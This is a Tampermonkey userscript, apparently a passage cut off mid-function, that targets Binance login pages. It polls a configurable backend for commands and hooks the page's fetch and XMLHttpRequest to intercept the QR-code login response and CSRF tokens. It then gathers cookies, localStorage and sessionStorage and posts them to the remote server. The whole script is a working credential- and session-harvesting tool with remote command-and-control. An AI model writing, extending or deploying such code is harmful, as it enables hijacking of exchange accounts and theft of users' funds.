// ==UserScript==
// @name         Binance 登录凭证采集与上报助手 (优化版)
// @namespace    http://tampermonkey.net/
// @version      1.4.0
// @description  按需激活网络Hook拦截币安登录二维码API响应并上报到后台服务 - 只在服务端触发时监听关键接口
// @author       wbe3
// @match        https://accounts.binance.com/*
// @match        https://www.binance.com/*
// @grant        GM_registerMenuCommand
// @grant        GM_unregisterMenuCommand
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_xmlhttpRequest
// @grant        GM_deleteValue
// @run-at       document-start
// ==/UserScript==

(function () {
  'use strict';

  const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
  const DEFAULT_CONFIG = {
    baseUrl: '',
    authToken: '',
    pollIntervalMs: 5000,
    enableDebugLog: false
  };
  const LOG_PREFIX = '【BinanceAuto】';
  const HEADER_KEYWORDS = ['csrf', 'token', 'auth', 'cookie', 'bnc', 'csrftoken', 'x-csrf-token', 'csrf-token', 'csrfKey', 'csrfValue'];
  const STORAGE_KEYS = {
    clientId: 'binance-auto-client-id',
    config: 'binance-auto-config',
    pendingCommand: 'binance-auto-pending-command'
  };
  const COMMAND_TYPES = {
    requestQr: 'REQUEST_QR',
    requestSession: 'REQUEST_SESSION',
    ping: 'PING'
  };

  const SESSION_STEPS = {
    init: 'SESSION_INIT',
    waitRefresh: 'SESSION_WAIT_REFRESH',
    collecting: 'SESSION_COLLECTING'
  };

  const state = {
    clientId: ensureClientId(),
    config: loadConfig(),
    polling: false,
    pollTimer: null,
    menuIds: [],
    qrData: {
      qrCode: null,
      originalQrCode: null,
      capturedAt: null,
      source: null
    },
    credentialData: {
      lastCookies: '',
      storageItems: [],
      headersByUrl: {},
      csrfToken: null // 新增：直接保存 csrftoken 值
    },
    commandHistory: [],
    pendingCommand: loadPendingCommand(),
    workflowTimer: null,
    workflowProcessing: false,
    // 新增：Hook控制状态
    hookState: {
      isActive: false,
      targetApis: [],
      originalFetch: null,
      originalXHR: null
    }
  };

  /** ---------- 公共工具 ---------- */
  function log(...args) {
    if (state.config.enableDebugLog) {
      console.log(LOG_PREFIX, ...args);
    }
  }

  function ensureClientId() {
    try {
      let stored = GM_getValue(STORAGE_KEYS.clientId, '');
      if (!stored) {
        stored = `tm-${crypto.randomUUID ? crypto.randomUUID() : Date.now().toString(36)}-${Math.random().toString(16).slice(2, 8)}`;
        GM_setValue(STORAGE_KEYS.clientId, stored);
      }
      return stored;
    } catch (error) {
      console.error(LOG_PREFIX, '生成 ClientId 失败，回退到临时 ID', error);
      return `tm-${Date.now()}`;
    }
  }

  function loadConfig() {
    try {
      const raw = GM_getValue(STORAGE_KEYS.config, '{}');
      const parsed = JSON.parse(raw);
      return { ...DEFAULT_CONFIG, ...parsed };
    } catch (error) {
      console.error(LOG_PREFIX, '读取配置失败，将使用默认值', error);
      return { ...DEFAULT_CONFIG };
    }
  }

  function loadPendingCommand() {
    try {
      const raw = GM_getValue(STORAGE_KEYS.pendingCommand);
      if (!raw) return null;
      const parsed = JSON.parse(raw);
      if (parsed && parsed.id && parsed.type) {
        return parsed;
      }
    } catch (error) {
      console.error(LOG_PREFIX, '读取挂起指令失败，将忽略', error);
    }
    return null;
  }

  function saveConfig(newConfig) {
    state.config = { ...state.config, ...newConfig };
    GM_setValue(STORAGE_KEYS.config, JSON.stringify(state.config));
    log('配置已保存', state.config);
  }

  function normalizeBaseUrl(url) {
    if (!url) return '';
    return url.endsWith('/') ? url.slice(0, -1) : url;
  }

  function safeJsonParse(text) {
    try {
      return JSON.parse(text);
    } catch (error) {
      return null;
    }
  }

  function buildAuthHeaders(extra = {}) {
    const headers = {
      'Content-Type': 'application/json',
      'X-Client-Id': state.clientId
    };
    if (state.config.authToken) {
      headers.Authorization = `Bearer ${state.config.authToken}`;
    }
    return { ...headers, ...extra };
  }

  function gmRequest({ method = 'GET', url, headers = {}, data, timeout = 15000 }) {
    return new Promise((resolve, reject) => {
      GM_xmlhttpRequest({
        method,
        url,
        headers,
        data,
        timeout,
        onload: (resp) => {
          resolve({
            status: resp.status,
            statusText: resp.statusText,
            headers: resp.responseHeaders,
            body: resp.responseText
          });
        },
        onerror: (err) => reject(err),
        ontimeout: () => reject(new Error('请求超时'))
      });
    });
  }

  function resetQrState() {
    state.qrData.qrCode = null;
    state.qrData.originalQrCode = null;
    state.qrData.capturedAt = null;
    state.qrData.source = null;
  }

  function isElementVisible(el) {
    if (!el) return false;
    if (el.offsetParent === null && el.getClientRects().length === 0) {
      return false;
    }
    const style = window.getComputedStyle(el);
    return style && style.visibility !== 'hidden' && style.display !== 'none' && style.opacity !== '0';
  }

  function findElementByText(texts, selectors = ['button', 'a', 'div', 'span']) {
    const candidates = [];
    selectors.forEach((selector) => {
      candidates.push(...document.querySelectorAll(selector));
    });
    for (const el of candidates) {
      const text = (el.textContent || '').trim();
      if (!text) continue;
      if (texts.some((target) => text.includes(target))) {
        if (typeof el.click === 'function' && isElementVisible(el)) {
          return el;
        }
      }
    }
    return null;
  }

  function findElementByLabel(labels) {
    const all = document.querySelectorAll('[aria-label], [data-testid], [data-bn-type]');
    for (const el of all) {
      const aria = (el.getAttribute('aria-label') || '').trim();
      const testid = (el.getAttribute('data-testid') || '').trim();
      const bnType = (el.getAttribute('data-bn-type') || '').trim();
      if ([aria, testid, bnType].some((attr) => labels.some((label) => attr.includes(label)))) {
        if (isElementVisible(el)) {
          return el;
        }
      }
    }
    return null;
  }

  function triggerClick(el) {
    if (!el) return false;
    try {
      el.click();
      return true;
    } catch (error) {
      const evt = new MouseEvent('click', {
        bubbles: true,
        cancelable: true,
        view: window
      });
      return el.dispatchEvent(evt);
    }
  }

  function clickLoginButton() {
    const loginTexts = ['登录', '登入', '登陆', 'Log In', 'Login', 'Sign In', '登录/注册'];
    const element = findElementByText(loginTexts, ['a', 'button', 'div', 'span']);
    if (!element) {
      log('未定位到登录按钮');
      return false;
    }
    const result = triggerClick(element);
    if (result) {
      log('已尝试点击登录按钮');
    }
    return result;
  }

  function clickQrTab() {
    log('🔍 开始查找二维码登录入口...');

    // 1. 直接查找具有明确aria-label的元素
    const direct = document.querySelector('[aria-label="二维码登录"]');
    if (direct && isElementVisible(direct)) {
      log('✅ 找到 aria-label 二维码登录按钮');
      if (triggerClick(direct)) {
        log('✅ 成功点击二维码登录按钮');
        return true;
      }
    }

    // 2. 通过文本内容查找
    const qrTexts = ['二维码登录', '扫码登录', '使用二维码登录', 'QR', 'Scan', 'QR Code', '二维码'];
    const textElement = findElementByText(qrTexts, ['button', 'div', 'span', 'a']);
    if (textElement) {
      log('✅ 找到文本匹配的二维码登录按钮:', textElement.textContent?.trim());
      if (triggerClick(textElement)) {
        log('✅ 成功点击二维码登录按钮');
        return true;
      }
    }

    // 3. 通过属性查找
    const labelElement = findElementByLabel(['二维码登录', 'QR']);
    if (labelElement) {
      log('✅ 找到属性匹配的二维码登录按钮');
      if (triggerClick(labelElement)) {
        log('✅ 成功点击二维码登录按钮');
        return true;
      }
    }

    // 4. 检查是否已经在二维码页面
    const qrCanvas = document.querySelector('canvas');
    const qrImg = document.querySelector('img[src*="qr"], img[src*="QR"]');
    if (qrCanvas || qrImg) {
      log('✅ 检测到页面已显示二维码元素，认为已在二维码页面');
      return true;
    }

    log('❌ 未找到二维码登录入口，当前页面URL:', location.href);
    return false;
  }

  /** ---------- 二维码捕获 ---------- */
  function captureQrFromResponse(json, source = 'network') {
    if (!json || typeof json !== 'object') return false;

    // 检查是否是二维码API的响应
    if (json.code === '000000' && json.data && json.data.qrCode) {
      const { data } = json;
      state.qrData.qrCode = data.qrCode;
      state.qrData.originalQrCode = data.originalQrCode || '';
      state.qrData.capturedAt = Date.now();
      state.qrData.source = source;

      log('✅ 捕获到二维码数据:', {
        qrCode: data.qrCode,
        originalQrCode: data.originalQrCode,
        source: source
      });
      return true;
    }
    return false;
  }

  function formatHeaders(headers) {
    const result = {};
    if (!headers) return result;
    if (headers instanceof Headers) {
      headers.forEach((value, key) => {
        result[key.toLowerCase()] = value;
      });
    } else if (Array.isArray(headers)) {
      headers.forEach(([key, value]) => {
        result[key.toLowerCase()] = value;
      });
    } else if (typeof headers === 'object') {
      Object.keys(headers).forEach((key) => {
        result[key.toLowerCase()] = headers[key];
      });
    }
    return result;
  }

  function getLatestQrPayload() {
    return {
      clientId: state.clientId,
      capturedAt: state.qrData.capturedAt || Date.now(),
      qrCode: state.qrData.qrCode,
      originalQrCode: state.qrData.originalQrCode,
      source: state.qrData.source
    };
  }

  /** ---------- 网络 Hook ---------- */
  // 保存原始方法，用于激活和清理Hook
  function preserveOriginalMethods() {
    if (!state.hookState.originalFetch) {
      state.hookState.originalFetch = pageWindow.fetch ? pageWindow.fetch.bind(pageWindow) : window.fetch;
    }
    if (!state.hookState.originalXHR) {
      const XHR = pageWindow.XMLHttpRequest;
      if (XHR) {
        state.hookState.originalXHR = {
          open: XHR.prototype.open,
          send: XHR.prototype.send,
          setRequestHeader: XHR.prototype.setRequestHeader
        };
      }
    }
  }

  // 激活Hook - 只在服务端需要时启用
  function activateNetworkHooks() {
    // 检查Hook是否真正有效，而不只是状态标记
    const isReallyActive = state.hookState.isActive &&
                          pageWindow.fetch !== state.hookState.originalFetch &&
                          pageWindow.fetch.toString().includes('patchedFetch');

    if (isReallyActive) {
      log('网络Hook已激活且有效，跳过重复激活');
      return;
    }

    // 如果状态显示激活但实际Hook无效，重置状态
    if (state.hookState.isActive && !isReallyActive) {
      log('检测到Hook状态不一致，重新激活');
      state.hookState.isActive = false;
    }

    preserveOriginalMethods();

    const QR_API_URL = '/bapi/accounts/v2/public/qrcode/login/get';

    // Hook Fetch API - 轻量化Hook，不阻塞原始请求
    if (state.hookState.originalFetch) {
      const patchedFetch = async function (...args) {
        // 先执行原始请求，不阻塞
        const response = await state.hookState.originalFetch(...args);

        // 异步处理，不影响原始响应
        setTimeout(async () => {
          if (!state.hookState.isActive) return;

          try {
            const urlString = args[0] && args[0].url ? args[0].url : args[0];

            // 1. 拦截二维码API
            if (urlString && urlString.includes(QR_API_URL)) {
              if (response && response.clone) {
                try {
                  const clone = response.clone();
                  const contentType = clone.headers.get && clone.headers.get('content-type');
                  if (contentType && contentType.includes('application/json')) {
                    const data = await clone.json();
                    captureQrFromResponse(data, 'fetch');
                  }
                } catch (e) {
                  // 静默失败，不影响页面
                }
              }
            }

            // 2. 轻量化检查csrftoken - 只记录不阻塞
            if (urlString) {
              const options = args[1] || {};
              const headers = formatHeaders(options.headers);

              // 只检查csrftoken，不处理其他复杂逻辑
              Object.entries(headers).forEach(([key, value]) => {
                const lowerKey = key.toLowerCase();
                if (lowerKey.includes('csrftoken')) {
                  state.credentialData.csrfToken = value;
                  console.log(LOG_PREFIX, '🎯 找到CSRF Token:', {
                    key,
                    value,
                    url: urlString
                  });
                }
              });

              // 检查响应头中的csrftoken
              if (response && response.headers) {
                try {
                  response.headers.forEach((value, key) => {
                    if (key.toLowerCase().includes('csrftoken')) {
                      state.credentialData.csrfToken = value;
                      console.log(LOG_PREFIX, '🎯 响应头中找到CSRF Token:', {
                        key,
                        value,
                        url: urlString
                      });
                    }
                  });
                } catch (e) {
                  // 静默失败
                }
              }
            }
          } catch (error) {
            // 静默失败，不影响页面
          }
        }, 0);

        // 立即返回原始响应，不阻塞
        return response;
      };
      pageWindow.fetch = patchedFetch;
      window.fetch = patchedFetch;
    }

    // Hook XMLHttpRequest - 轻量化版本
    const XHR = pageWindow.XMLHttpRequest;
    if (XHR && state.hookState.originalXHR) {
      XHR.prototype.setRequestHeader = function (key, value) {
        // 先执行原始方法
        const result = state.hookState.originalXHR.setRequestHeader.apply(this, arguments);

        // 异步检查csrftoken，不阻塞
        setTimeout(() => {
          if (!state.hookState.isActive) return;
          const lowerKey = key.toLowerCase();
          if (lowerKey.includes('csrftoken')) {
            state.credentialData.csrfToken = value;
            console.log(LOG_PREFIX, '🎯 XHR请求头找到CSRF Token:', {
              key,
              value,
              url: this.__binanceAutoUrl
            });
          }
        }, 0);

        return result;
      };
    }

    state.hookState.isActive = true;
    console.log(LOG_PREFIX, '✅ 轻量化Hook已激活');
  }

  // 停用Hook
  function deactivateNetworkHooks() {
    if (!state.hookState.isActive) {
      return;
    }

    // 恢复原始方法
    if (state.hookState.originalFetch) {
      pageWindow.fetch = state.hookState.originalFetch;
      window.fetch = state.hookState.originalFetch;
    }

    const XHR = pageWindow.XMLHttpRequest;
    if (XHR && state.hookState.originalXHR) {
      XHR.prototype.open = state.hookState.originalXHR.open;
      XHR.prototype.send = state.hookState.originalXHR.send;
      XHR.prototype.setRequestHeader = state.hookState.originalXHR.setRequestHeader;
    }

    state.hookState.isActive = false;
    log('❌ 网络Hook已停用');
  }

  // 兼容性函数，保持向后兼容
  function installNetworkHooks() {
    preserveOriginalMethods();
    log('网络Hook基础设施已准备，等待服务端激活指令');
  }

  /** ---------- 请求头与凭证捕获 ---------- */
  function recordCredentialHeaders(url, headers, meta = {}) {
    if (!headers) {
      log('⚠️ recordCredentialHeaders: headers为空');
      return;
    }

    console.log(LOG_PREFIX, '🔍 正在处理请求头:', { url, headers, meta });

    const filtered = {};
    let matched = false;
    let csrfTokenFound = false;

    Object.entries(headers).forEach(([key, value]) => {
      const lowerKey = (key || '').toLowerCase();
      const lowerValue = typeof value === 'string' ? value.toLowerCase() : '';

      // 检查是否是 CSRF token
      const isCsrfToken = lowerKey.includes('csrftoken') ||
                         lowerKey.includes('csrf-token') ||
                         lowerKey.includes('x-csrf-token');

      // 检查关键词匹配
      const keywordMatch = HEADER_KEYWORDS.some((kw) => lowerKey.includes(kw) || lowerValue.includes(kw));

      // 额外检查：所有包含 token 的头部，以及常见的认证头部
      const importantHeaders = [
        'authorization', 'cookie', 'x-requested-with', 'referer',
        'user-agent', 'accept', 'content-type', 'origin'
      ];
      const isImportantHeader = importantHeaders.some(header => lowerKey === header);

      // 特别关注任何可能包含 token 或 csrf 的头部
      const containsToken = lowerKey.includes('token') || lowerKey.includes('csrf') ||
                          lowerValue.includes('token') || lowerValue.includes('csrf');

      if (keywordMatch || isImportantHeader || containsToken || isCsrfToken) {
        filtered[key] = value;
        matched = true;

        // 如果捕获到 CSRF token，直接保存值
        if (isCsrfToken) {
          state.credentialData.csrfToken = value;
          console.log(LOG_PREFIX, '🎯💰 成功捕获并保存CSRF Token:', {
            key,
            value,
            url
          });
        }
      }
    });

    if (!matched) {
      console.log(LOG_PREFIX, '❌ 未匹配到任何有效请求头:', url);
      return;
    }

    // 强制保存到 state
    state.credentialData.headersByUrl[url || ''] = {
      headers: filtered,
      capturedAt: Date.now(),
      meta: { ...meta, csrfTokenFound }
    };

    console.log(LOG_PREFIX, '✅ 成功保存请求头到 headersByUrl:', {
      url,
      headersCount: Object.keys(filtered).length,
      headerKeys: Object.keys(filtered),
      csrfTokenFound,
      totalSavedUrls: Object.keys(state.credentialData.headersByUrl).length,
      meta
    });

    // 如果找到了 CSRF token，额外日志
    if (csrfTokenFound) {
      console.log(LOG_PREFIX, '🏆 CSRF Token已保存！当前 headersByUrl:', state.credentialData.headersByUrl);
    }
  }

  function captureCookieSnapshot() {
    try {
      state.credentialData.lastCookies = document.cookie || '';
    } catch (error) {
      state.credentialData.lastCookies = '';
      log('读取 Cookie 失败', error);
    }
  }

  function collectStorageItems() {
    const result = [];
    const pushStorage = (storage, label) => {
      if (!storage) return;
      for (let i = 0; i < storage.length; i += 1) {
        const key = storage.key(i);
        const value = storage.getItem(key);
        result.push({ label, key, value });
      }
    };
    try {
      pushStorage(pageWindow.localStorage, 'localStorage');
    } catch (error) {
      log('读取 localStorage 失败', error);
    }
    try {
      pushStorage(pageWindow.sessionStorage, 'sessionStorage');
    } catch (error) {
      log('读取 sessionStorage 失败', error);
    }
    state.credentialData.storageItems = result;
  }

  function getLatestCredentialPayload() {
    captureCookieSnapshot();
    collectStorageItems();
    return {
      clientId: state.clientId,
      capturedAt: Date.now(),
      cookies: state.credentialData.lastCookies,
      storageItems: state.credentialData.storageItems,
      headersByUrl: state.credentialData.headersByUrl
    };
  }

  /** ---------- 挂起指令与流程调度 ---------- */
  function updatePendingCommand(partial) {
    if (!state.pendingCommand) return;
    state.pendingCommand = { ...state.pendingCommand, ...partial, updatedAt: Date.now() };

    // 如果标记为完成，立即清除挂起指令
    if (partial.completed) {
      clearPendingCommand();
      return;
    }

    GM_setValue(STORAGE_KEYS.pendingCommand, JSON.stringify(state.pendingCommand));
    ensureWorkflowTimer();
  }

  function savePendingCommand(command) {
    state.pendingCommand = { ...command, createdAt: Date.now(), updatedAt: Date.now() };
    GM_setValue(STORAGE_KEYS.pendingCommand, JSON.stringify(state.pendingCommand));
    ensureWorkflowTimer();
  }

  function clearPendingCommand() {
    state.pendingCommand = null;
    try {
      GM_deleteValue(STORAGE_KEYS.pendingCommand);
    } catch (error) {
      log('清除挂起指令失败', error);
    }
    stopWorkflowTimer();
  }

  function ensureWorkflowTimer() {
    if (state.workflowTimer) return;
    state.workflowTimer = setInterval(() => {
      if (state.workflowProcessing) return;
      state.workflowProcessing = true;
      Promise.resolve(processPendingWorkflow()).catch((error) => {
        log('处理挂起指令异常', error);
      }).finally(() => {
        state.workflowProcessing = false;
      });
    }, 500);
  }

  function stopWorkflowTimer() {
    if (state.workflowTimer) {
      clearInterval(state.workflowTimer);
      state.workflowTimer = null;
    }
  }

  async function processPendingWorkflow() {
    const pending = state.pendingCommand;
    if (!pending) {
      stopWorkflowTimer();
      return;
    }

    switch (pending.type) {
      case COMMAND_TYPES.requestQr:
        await handlePendingQrCommand(pending);
        break;
      case COMMAND_TYPES.requestSession:
        await handlePendingSessionCommand(pending);
        break;
      default:
        log('未知挂起指令类型，丢弃', pending.type);
        clearPendingCommand();
    }
  }

  async function handlePendingSessionCommand(pending) {
    const timeoutMs = pending.timeoutMs || 10000;
    const step = pending.step || SESSION_STEPS.init;
    const stepStartedAt = pending.stepStartedAt || pending.updatedAt || pending.createdAt;
    const elapsed = Date.now() - (stepStartedAt || Date.now());

    // 如果已经完成，跳过处理
    if (pending.completed) {
      return;
    }

    const fail = async (message) => {
      if (pending.completed) return; // 防止重复处理
      pending.completed = true;

      log('Session流程失败', message);
      try {
        await sendCommandResult(pending.id, {
          status: 'FAILED',
          type: pending.type,
          message
        });
      } catch (error) {
        log('上报Session失败结果异常', error);
      }
      clearPendingCommand();
      deactivateNetworkHooks();
    };

    const succeed = async () => {
      if (pending.completed) return; // 防止重复处理
      pending.completed = true;

      try {
        // 上报数据包含 cookies 和 csrfToken
        const payload = {
          clientId: state.clientId,
          capturedAt: Date.now(),
          cookies: document.cookie || '',
          csrfToken: state.credentialData.csrfToken
        };

        console.log(LOG_PREFIX, '📋 准备上报的认证信息:', payload);

        await sendCommandResult(pending.id, {
          status: 'SUCCESS',
          type: pending.type,
          payload: payload
        });

        console.log(LOG_PREFIX, '🎉 Session指令执行完成，上报成功!', {
          commandId: pending.id,
          csrfToken: state.credentialData.csrfToken,
          cookiesLength: payload.cookies.length
        });

        clearPendingCommand();
        deactivateNetworkHooks();
      } catch (error) {
        await fail(error.message || '上报失败');
      }
    };

    const ensureStep = (nextStep) => {
      updatePendingCommand({ step: nextStep, stepStartedAt: Date.now() });
    };

    switch (step) {
      case SESSION_STEPS.init: {
        log('🔄 开始Session采集流程，准备刷新页面...');
        // 清空之前的认证数据，准备重新收集
        state.credentialData.headersByUrl = {};
        state.credentialData.csrfToken = null;
        console.log(LOG_PREFIX, '🧹 清空旧的认证数据，准备重新收集');
        ensureStep(SESSION_STEPS.waitRefresh);
        // 延时刷新，确保状态已保存
        setTimeout(() => {
          pageWindow.location.reload();
        }, 100);
        break;
      }
      case SESSION_STEPS.waitRefresh: {
        // 页面刷新后，重新激活Hook并等待用户信息接口被调用
        log('📡 页面已刷新，重新激活Hook并等待捕获用户信息接口...');
        activateNetworkHooks(); // 页面刷新后重新激活Hook
        ensureStep(SESSION_STEPS.collecting);
        break;
      }
      case SESSION_STEPS.collecting: {
        // 检查是否已捕获到 csrftoken
        console.log(LOG_PREFIX, '🔍 检查当前 csrfToken 状态:', {
          csrfToken: state.credentialData.csrfToken,
          elapsed: elapsed,
          timeoutMs: timeoutMs
        });

        if (state.credentialData.csrfToken) {
          console.log(LOG_PREFIX, '🎉 已捕获到 csrftoken，完成Session采集:', state.credentialData.csrfToken);
          await succeed();
        } else if (elapsed > timeoutMs) {
          console.log(LOG_PREFIX, '⏰ Session采集超时，未捕获到 csrftoken');
          await succeed();
        }
        break;
      }
      default: {
        await fail(`未知Session步骤: ${step}`);
      }
    }
  }

  async function sendManualResult(commandType, status, payload, message) {
    const baseUrl = normalizeBaseUrl(state.config.baseUrl);
    if (!baseUrl) {
      alert('未配置服务器地址 baseUrl，无法上报手动结果');
      return;
    }
    const endpoint = commandType === COMMAND_TYPES.requestSession ? 'session' : 'qr';
    const url = `${baseUrl}/tm/manual/${endpoint}`;
    const body = {
      clientId: state.clientId,
      status,
      payload,
      message
    };
    await gmRequest({
      method: 'POST',
      url,
      headers: buildAuthHeaders(),
      data: JSON.stringify(body)
    });
  }

  async function handlePendingQrCommand(pending) {
    const timeoutMs = pending.timeoutMs || 15000;
    const step = pending.step || 'INIT';
    const stepStartedAt = pending.stepStartedAt || pending.updatedAt || pending.createdAt;
    const elapsed = Date.now() - (stepStartedAt || Date.now());

    const fail = async (message) => {
      log('二维码流程失败', message);
      const payload = { message };
      if (pending.manual) {
        try {
          await sendManualResult(pending.type, 'FAILED', payload, message);
        } catch (error) {
          log('手动二维码失败上报异常', error);
        }
        console.log(LOG_PREFIX, '手动二维码采集失败', message);
        alert(`手动二维码采集失败：${message}`);
      } else {
        try {
          await sendCommandResult(pending.id, {
            status: 'FAILED',
            type: pending.type,
            payload
          });
        } catch (error) {
          log('上报失败结果异常', error);
        }
      }
      clearPendingCommand();
    };

    const succeed = async () => {
      const qrPayload = getLatestQrPayload();
      if (!qrPayload.qrCode) {
        await fail('未捕获到二维码数据');
        return;
      }

      log('🎯 准备上报二维码数据:', qrPayload);

      if (pending.manual) {
        try {
          await sendManualResult(pending.type, 'SUCCESS', qrPayload);
          console.log(LOG_PREFIX, '✅ 手动二维码上报成功!', qrPayload);
        } catch (error) {
          log('手动二维码结果上报异常', error);
          await fail(error.message || '上报失败');
          return;
        }
        console.log(LOG_PREFIX, '手动二维码采集结果', qrPayload);
        alert('手动二维码采集完成，后端已收到数据。');
      } else {
        try {
          await sendCommandResult(pending.id, {
            status: 'SUCCESS',
            type: pending.type,
            payload: qrPayload
          });
          // 强制显示成功日志，不依赖调试模式
          console.log(LOG_PREFIX, '🎉 二维码指令执行完成，上报成功!', {
            commandId: pending.id,
            qrPayload
          });
        } catch (error) {
          log('上报二维码结果异常', error);
          await fail(error.message || '上报失败');
          return;
        }
      }
      clearPendingCommand();
    };

    const ensureStep = (nextStep) => {
      updatePendingCommand({ step: nextStep, stepStartedAt: Date.now() });
    };

    switch (step) {
      case 'INIT': {
        resetQrState();
        if (location.hostname === 'accounts.binance.com') {
          ensureStep('SWITCH_QR');
        } else if (location.hostname === 'www.binance.com') {
          ensureStep('CLICK_LOGIN');
        } else {
          ensureStep('NAVIGATE_MAIN');
          pageWindow.location.href = 'https://www.binance.com/';
        }
        break;
      }
      case 'NAVIGATE_MAIN': {
        if (location.hostname === 'www.binance.com') {
          ensureStep('CLICK_LOGIN');
        } else if (elapsed > timeoutMs) {
          await fail('未能跳转到 Binance 主站');
        }
        break;
      }
      case 'CLICK_LOGIN': {
        if (location.hostname !== 'www.binance.com') {
          ensureStep('WAIT_LOGIN_PAGE');
          break;
        }
        const clicked = clickLoginButton();
        if (clicked) {
          ensureStep('WAIT_LOGIN_PAGE');
        } else if (elapsed > timeoutMs / 2 && !pending.forcedNavigate) {
          updatePendingCommand({ forcedNavigate: true });
          ensureStep('WAIT_LOGIN_PAGE');
          pageWindow.location.href = 'https://accounts.binance.com/';
        } else if (elapsed > timeoutMs) {
          await fail('未找到登录入口');
        }
        break;
      }
      case 'WAIT_LOGIN_PAGE': {
        if (location.hostname === 'accounts.binance.com') {
          ensureStep('SWITCH_QR');
        } else if (elapsed > timeoutMs) {
          await fail('等待登录页面超时');
        }
        break;
      }
      case 'SWITCH_QR': {
        if (location.hostname !== 'accounts.binance.com') {
          if (elapsed > timeoutMs) {
            await fail('未进入登录页面');
          }
          break;
        }
        if (clickQrTab()) {
          resetQrState();
          ensureStep('WAIT_QR');
        } else if (elapsed > timeoutMs) {
          await fail('未找到二维码登录入口');
        }
        break;
      }
      case 'WAIT_QR': {
        if (location.hostname !== 'accounts.binance.com') {
          if (elapsed > timeoutMs) {
            await fail('未进入登录页面');
          }
          break;
        }

        // 检查是否已经通过网络Hook捕获到二维码数据
        if (state.qrData.qrCode) {
          log('通过网络拦截捕获到二维码，流程完成');
          await succeed();
        } else if (elapsed > timeoutMs) {
          await fail('等待二维码API响应超时，请确保页面已触发二维码加载');
        }
        break;
      }
      default: {
        await fail(`未知步骤: ${step}`);
      }
    }
  }

  /** ---------- 服务器指令轮询 ---------- */
  async function fetchCommands() {
    const baseUrl = normalizeBaseUrl(state.config.baseUrl);
    if (!baseUrl) return [];
    const url = `${baseUrl}/tm/commands?clientId=${encodeURIComponent(state.clientId)}&t=${Date.now()}`;
    const resp = await gmRequest({
      method: 'GET',
      url,
      headers: buildAuthHeaders()
    });
    if (resp.status >= 200 && resp.status < 300) {
      const responseData = safeJsonParse(resp.body);
      if (!responseData) return [];

      // 处理后端标准响应格式: {code: 200, message: "", data: [...]}
      if (responseData.code === 200 && responseData.data && Array.isArray(responseData.data)) {
        return responseData.data;
      }

      // 兼容直接返回数组的情况
      if (Array.isArray(responseData)) {
        return responseData;
      }

      return [];
    }
    throw new Error(`获取指令失败: ${resp.status}`);
  }

  async function sendCommandResult(commandId, result) {
    const baseUrl = normalizeBaseUrl(state.config.baseUrl);
    if (!baseUrl) {
      log('⚠️ 上报失败：未配置服务器地址');
      return;
    }
    // 修复：添加 clientId 作为查询参数
    const url = `${baseUrl}/tm/commands/${encodeURIComponent(commandId)}/ack?clientId=${encodeURIComponent(state.clientId)}`;

    log('📤 开始上报指令结果:', { commandId, result, url });

    try {
      const response = await gmRequest({
        method: 'POST',
        url,
        headers: buildAuthHeaders(),
        data: JSON.stringify(result)
      });

      log('✅ 指令结果上报成功:', {
        commandId,
        status: response.status,
        statusText: response.statusText,
        responseBody: response.body
      });

      return response;
    } catch (error) {
      log('❌ 指令结果上报失败:', { commandId, error: error.message, result });
      throw error;
    }
  }

  async function processCommand(command) {
    const { id, type, payload } = command;
    state.commandHistory.push({ id, type, receivedAt: Date.now() });
    if (state.commandHistory.length > 50) state.commandHistory.shift();

    log('处理服务器指令', command);
    switch (type) {
      case COMMAND_TYPES.requestQr: {
        // 🔥 激活网络Hook - 只在需要捕获二维码时启用
        activateNetworkHooks();

        if (state.pendingCommand) {
          log('存在未完成的指令，旧指令将被覆盖');
          clearPendingCommand();
        }
        savePendingCommand({ id, type, step: 'INIT', timeoutMs: (payload && payload.timeoutMs) || 15000 });
        log('已启动二维码捕获流程 + 激活网络Hook');

        // 设置自动清理Hook的定时器
        setTimeout(() => {
          if (!state.pendingCommand) {
            deactivateNetworkHooks();
            log('二维码捕获完成，自动停用网络Hook');
          }
        }, (payload && payload.timeoutMs) || 15000 + 5000); // 超时时间 + 5秒缓冲

        if (!state.workflowProcessing) {
          state.workflowProcessing = true;
          Promise.resolve(processPendingWorkflow()).catch((error) => {
            log('初始处理挂起指令异常', error);
          }).finally(() => {
            state.workflowProcessing = false;
          });
        }
        break;
      }
      case COMMAND_TYPES.requestSession: {
        // 🔥 激活网络Hook并使用 pendingCommand 机制
        activateNetworkHooks();

        if (state.pendingCommand) {
          log('存在未完成的指令，旧指令将被覆盖');
          clearPendingCommand();
        }

        // 保存 SESSION 指令为挂起状态
        savePendingCommand({
          id,
          type,
          step: SESSION_STEPS.init,
          timeoutMs: (payload && payload.timeoutMs) || 10000
        });

        log('🔄 已启动Session采集流程，即将刷新页面捕获认证信息');

        // 设置自动清理Hook的定时器
        setTimeout(() => {
          if (!state.pendingCommand || state.pendingCommand.completed) {
            deactivateNetworkHooks();
            log('Session采集完成，自动停用网络Hook');
          }
        }, ((payload && payload.timeoutMs) || 10000) + 5000); // 超时时间 + 5秒缓冲

        // 立即启动处理流程
        if (!state.workflowProcessing) {
          state.workflowProcessing = true;
          Promise.resolve(processPendingWorkflow()).catch((error) => {
            log('初始处理Session指令异常', error);
          }).finally(() => {
            state.workflowProcessing = false;
          });
        }

        break;
      }
      case COMMAND_TYPES.ping: {
        await sendCommandResult(id, {
          status: 'SUCCESS',
          type,
          payload: { clientId: state.clientId, timestamp: Date.now() }
        });
        break;
      }
      default: {
        await sendCommandResult(id, {
          status: 'IGNORED',
          type,
          payload,
          message: '未知指令类型'
        });
      }
    }
  }

  async function pollLoop() {
    if (!state.polling) return;
    try {
      const commands = await fetchCommands();
      for (const cmd of commands) {
        try {
          await processCommand(cmd);
        } catch (error) {
          log('处理指令失败', cmd, error);
          try {
            await sendCommandResult(cmd.id, {
              status: 'FAILED',
              type: cmd.type,
              message: error ? error.message : '处理失败'
            });
          } catch (ackError) {
            log('上报失败信息时出错', ackError);
          }
        }
      }
    } catch (error) {
      log('轮询指令失败', error);
    } finally {
      if (state.polling) {
        state.pollTimer = setTimeout(pollLoop, state.config.pollIntervalMs);
      }
    }
  }

  function startPolling() {
    if (state.polling) return;
    if (!state.config.baseUrl) {
      alert('请先在油猴菜单中配置服务器地址。');
      return;
    }
    state.polling = true;
    pollLoop();
    log('已启动服务器指令轮询');
  }

  function stopPolling() {
    if (!state.polling) return;
    state.polling = false;
    if (state.pollTimer) {
      clearTimeout(state.pollTimer);
      state.pollTimer = null;
    }
